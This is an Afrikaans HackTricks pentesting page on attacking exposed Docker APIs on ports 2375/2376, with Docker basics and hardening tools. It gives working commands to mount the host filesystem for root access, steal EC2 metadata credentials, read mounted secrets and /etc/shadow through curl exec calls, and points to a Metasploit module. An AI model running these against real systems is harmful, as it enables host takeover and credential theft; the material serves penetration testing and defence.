# 2375, 2376 Pentesting Docker
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliĂ«nte **gekompromiteer** is deur **stealer-malware**. Hul primĂȘre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware. Jy kan hul webwerf besoek en hul enjin **gratis** probeer by: {% embed url="https://whiteintel.io" %} *** ### Docker Basics #### Wat is Docker is die **voorste platform** in die **kontaineriseringsbedryf**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeitelose skepping en verspreiding van aansoeke, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige implementering** oor diverse omgewings. #### Basiese docker-argitektuur * [**containerd**](http://containerd.io): Dit is 'n **kern-hardloopomgewing** vir kontainers, belas met die omvattende **bestuur van 'n kontainer se lewensiklus**. Dit behels die hanteer van **beeldoorplasing en -berg**, sowel as die toesig oor die **uitvoering, monitering, en netwerking** van kontainers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**. * Die **kontainer-skim** speel 'n kritieke rol as 'n **tussenganger** in die hantering van **koplose kontainers**, wat naadloos oorneem van **runc** nadat die kontainers geĂŻnisialiseer is. * [**runc**](http://runc.io): Geag vir sy **ligte en universele kontainer-hardloopvermoĂ«ns**, is runc belyn met die **OCI-standaard**. Dit word deur containerd gebruik om kontainers te **begin en bestuur** volgens die **OCI-riglyne**, wat ontwikkel het uit die oorspronklike **libcontainer**. * [**grpc**](http://www.grpc.io) is noodsaaklik vir die **fasilitering van kommunikasie** tussen containerd en die **docker-enjin**, wat **doeltreffende interaksie** verseker. * Die [**OCI**](https://www.opencontainers.org) is deurslaggewend om die **OCI-spesifikasies** vir hardloopomgewing en beelde te handhaaf, met die nuutste Docker-weergawes wat **voldoen aan beide die OCI-beeld en -hardloopomgewing** standaarde. #### Basiese bevele ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings docker pull registry:5000/alpine #Download the image docker inspect #Get info of the contaienr docker network ls #List network info docker exec -it /bin/sh #Get shell inside a container docker commit registry:5000/name-container #Update container docker export -o alpine.tar #Export container as tar file docker save -o ubuntu.tar #Export an image docker ps -a #List running and stopped containers docker stop #Stop running container docker rm #Remove container ID docker image ls #List images docker rmi #Remove image docker system prune -a #This will remove: # - all stopped containers # - all networks not used by at least one container # - all images without at least one container associated to them # - all build cache ``` #### Containerd **Containerd** is spesifiek ontwikkel om te voldoen aan die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere. Dit streef daarna om die uitvoering van houers te **vereenvoudig oor verskeie bedryfstelsels**, insluitend Linux, Windows, Solaris, en meer, deur bedryfstelsel-spesifieke funksionaliteit en stelseloproepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en poog om onnodige komponente uit te sluit. Die bereiking van hierdie doel word egter erken as 'n uitdaging. 'n Sleutelontwerpbepaling is dat **Containerd nie netwerkhantering hanteer nie**. Netwerk is 'n kritieke element in verspreide stelsels, met kompleksiteite soos sagteware-gedefinieerde netwerke (SDN) en diensontdekking wat aansienlik van die een platform tot die ander verskil. Daarom laat Containerd die netwerkaspekte oor aan die platforms wat dit ondersteun. Terwyl **Docker Containerd benut** om houers uit te voer, is dit belangrik om te let dat Containerd slegs 'n subset van Docker se funksionaliteite ondersteun. Spesifiek ontbreek Containerd die netwerkbestuursmoontlikhede wat teenwoordig is in Docker en ondersteun nie die direkte skepping van Docker-swerm nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksionaliteite aan die platforms wat dit meeintegreer, oorlaat. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images list #List images ctr container create registry:5000/alpine:latest alpine #Create container called alpine ctr container list #List containers ctr container info #Get container info ctr task start #You are given a shell inside of it ctr task list #Get status of containers ctr tasks attach #Get shell in running container ctr task pause #Stop container ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` #### Podman **Podman** is 'n oopbronkontainer-enjin wat voldoen aan die [Open Container Initiative (OCI) standaarde](https://github.com/opencontainers), ontwikkel en onderhou deur Red Hat. Dit steek uit bo Docker met verskeie kenmerkende eienskappe, veral sy **daemonless-argitektuur** en ondersteuning vir **rootless-containers**, wat gebruikers in staat stel om houers sonder wortelpriviliges uit te voer. Podman is ontwerp om verenigbaar te wees met Docker se API, wat die gebruik van Docker CLI-opdragte moontlik maak. Hierdie verenigbaarheid strek tot sy ekosisteem, wat gereedskap soos **Buildah** vir die bou van kontainerbeelde en **Skopeo** vir beeldoperasies soos stoot, trek en inspekteer, insluit. Meer besonderhede oor hierdie gereedskap kan gevind word op hul [GitHub-bladsy](https://github.com/containers/buildah/tree/master/docs/containertools). **Belangrike Verskille** * **Argitektuur**: Anders as Docker se kliĂ«nt-bedienermodel met 'n agtergronddaemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers met die voorregte van die gebruiker wat hulle begin, hardloop, wat die sekuriteit verbeter deur die behoefte aan worteltoegang te elimineer. * **Systemd-integrasie**: Podman integreer met **systemd** om houers te bestuur, wat houerbestuur deur systemd-eenhede moontlik maak. Dit verskil van Docker se gebruik van systemd hoofsaaklik vir die bestuur van die Docker-daemonproses. * **Rootless-houers**: 'n Kernfunksie van Podman is sy vermoĂ« om houers onder die voorregte van die inisieerende gebruiker uit te voer. Hierdie benadering minimaliseer die risiko's wat gepaard gaan met kontainer-oortredings deur te verseker dat aanvallers slegs die voorregte van die gekompromitteerde gebruiker verkry, nie worteltoegang nie. Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, wat klem lĂȘ op gebruikersprivilige-bestuur en verenigbaarheid met bestaande Docker-werkvloeie. {% hint style="info" %} Let daarop dat aangesien podman daarop gemik is om dieselfde API as docker te ondersteun, kan jy dieselfde opdragte met podman gebruik as met docker soos: ```bash podman --version podman info pdoman images ls podman ls ``` {% endhint %} ### Basiese Inligting Die afgeleĂ« API word standaard op poort 2375 uitgevoer wanneer dit geaktiveer is. Die diens vereis standaard nie verifikasie nie, wat 'n aanvaller in staat stel om 'n bevoorregte docker-houer te begin. Deur die AfgeleĂ« API te gebruik, kan 'n persoon gasheer / (roetegids) aan die houer heg en lĂȘers van die gasheer se omgewing lees/skryf. **Verstekpoort:** 2375 ``` PORT STATE SERVICE 2375/tcp open docker ``` ### Opsomming #### Handleiding Merk op dat om die docker API op te som, kan jy die `docker` bevel of `curl` gebruik soos in die volgende voorbeeld: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version {"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"} #Using docker docker -H open.docker.socket:2375 version #Get version Client: Docker Engine - Community Version: 19.03.1 API version: 1.40 Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:21:05 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community Engine: Version: 19.03.1 API version: 1.40 (minimum version 1.12) Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:19:41 2019 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.2.6 GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb runc: Version: 1.0.0-rc8 GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f docker-init: Version: 0.18.0 GitCommit: fec3683 ``` Indien jy die **afgeleĂ« docker API kan kontak met die `docker` bevel**, kan jy enige van die **docker** [**bevele wat voorheen** gekommentaar is](2375-pentesting-docker.md#basic-commands) uitvoer om met die diens te skakel. {% hint style="info" %} Jy kan `export DOCKER_HOST="tcp://localhost:2375"` en **vermy** die gebruik van die `-H` parameter met die docker bevel {% endhint %} **Vinnige bevoorregte eskalasie** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` **Curl** Soms sien jy **2376** op vir die **TLS** eindpunt. Ek was nie in staat om daarmee te verbind met die docker-klient nie, maar dit is moontlik om dit met curl te doen. ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq #Check what is mounted curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' #Get the output by starting the exec curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' #Cat the mounted secret curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' #List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables) curl -s –insecure https://tls-opendocker.socket:2376/services | jq #Creating a container that has mounted the host file system and read /etc/shadow curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' #Stop the container curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` Indien jy meer inligting wil hĂȘ oor hierdie, is meer inligting beskikbaar waar ek die opdragte gekopieer het: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) #### Outomaties ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` ### Kompromittering Op die volgende bladsy kan jy maniere vind om **uit 'n Docker-houer te ontsnap**: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} Deur hiervan misbruik te maak, is dit moontlik om uit 'n houer te ontsnap, jy kan 'n swak houer op die afgeleĂ« masjien hardloop, daaruit ontsnap, en die masjien kompromitteer: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) ### Bevoorregte Eskalasie Indien jy binne 'n gasheer is wat Docker gebruik, kan jy [**hierdie inligting lees om te probeer om voorregte te verhoog**](../linux-hardening/privilege-escalation/#writable-docker-socket). ### Ontdekking van geheime inligting in hardloop Docker-houers ```bash docker ps [| grep ] docker inspect ``` Kyk na **env** (omgewingsveranderlike afdeling) vir geheime en jy mag dalk vind: * Wagwoorde. * IP-adresse. * Poorte. * Paaie. * Ander... . As jy 'n lĂȘer wil onttrek: ```bash docker cp :/etc/ ``` ### Die beveiliging van jou Docker #### Die beveiliging van Docker installasie en gebruik * Jy kan die instrument [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) gebruik om jou huidige docker installasie te ondersoek. * `./docker-bench-security.sh` * Jy kan die instrument [https://github.com/kost/dockscan](https://github.com/kost/dockscan) gebruik om jou huidige docker installasie te ondersoek. * `dockscan -v unix:///var/run/docker.sock` * Jy kan die instrument [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte te sien wat 'n houer sal hĂȘ wanneer dit met verskillende sekuriteitsopsies uitgevoer word. Dit is nuttig om die implikasies van die gebruik van sekuriteitsopsies vir die uitvoer van 'n houer te ken: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` #### Die beveiliging van Docker Beelde * Jy kan 'n docker beeld van [https://github.com/quay/clair](https://github.com/quay/clair) gebruik om dit jou ander docker beelde te laat skandeer en kwesbaarhede te vind. * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` #### Die beveiliging van Docker lĂȘers * Jy kan die instrument [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) gebruik om **jou Docker-lĂȘer te ondersoek** en allerhande verkeerde konfigurasies te vind. Elke verkeerde konfigurasie sal 'n ID kry, jy kan hier vind [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) hoe om elkeen van hulle reg te stel. * `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (176).png>) * Jy kan die instrument [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) gebruik om **jou Docker-lĂȘer te ondersoek** en allerhande verkeerde konfigurasies te vind. * `dockerfilelint Dockerfile` ![](<../.gitbook/assets/image (212).png>) * Jy kan die instrument [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) gebruik om **jou Docker-lĂȘer te ondersoek** en allerhande verkeerde konfigurasies te vind. * `dockerlint Dockerfile` ![](<../.gitbook/assets/image (71).png>) * Jy kan die instrument [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) gebruik om **jou Docker-lĂȘer te ondersoek** en allerhande verkeerde konfigurasies te vind. * `hadolint Dockerfile` ![](<../.gitbook/assets/image (501).png>) #### Log van Verdagte aktiwiteit * Jy kan die instrument [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) gebruik om **verdagte gedrag in lopende houers** op te spoor. * Merk op in die volgende blok hoe **Falco 'n kernel module saamstel en dit invoeg**. Daarna laai dit die reĂ«ls en **begin dit met die log van verdagte aktiwiteite**. In hierdie geval het dit 2 bevoorregte houers opgespoor wat begin is, een met 'n sensitiewe berg, en na 'n paar sekondes het dit opgespoor hoe 'n skul in een van die houers oopgemaak is. ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host * Unloading falco-probe, if present * Running dkms install for falco Kernel preparation unnecessary for this kernel. Skipping... Building module: cleaning build area...... make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build............. cleaning build area...... DKMS: build completed. falco-probe.ko: Running module version sanity check. modinfo: ERROR: missing module or filename. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory depmod... DKMS: install completed. * Trying to load a dkms falco-probe, if present falco-probe found and loaded in dkms 2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml 2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml: 2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765 2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04) 2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave) 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` #### Monitering Docker Jy kan auditd gebruik om docker te monitor. ### Verwysings * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliĂ«nte **gekompromiteer** is deur **stealer malware**. Hul primĂȘre doel van WhiteIntel is om rekening-oorneemings en lospryse aanvalle te beveg wat voortspruit uit inligtingsteel-malware. Jy kan hul webwerf besoek en hul enjin **gratis** probeer by: {% embed url="https://whiteintel.io" %}
Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.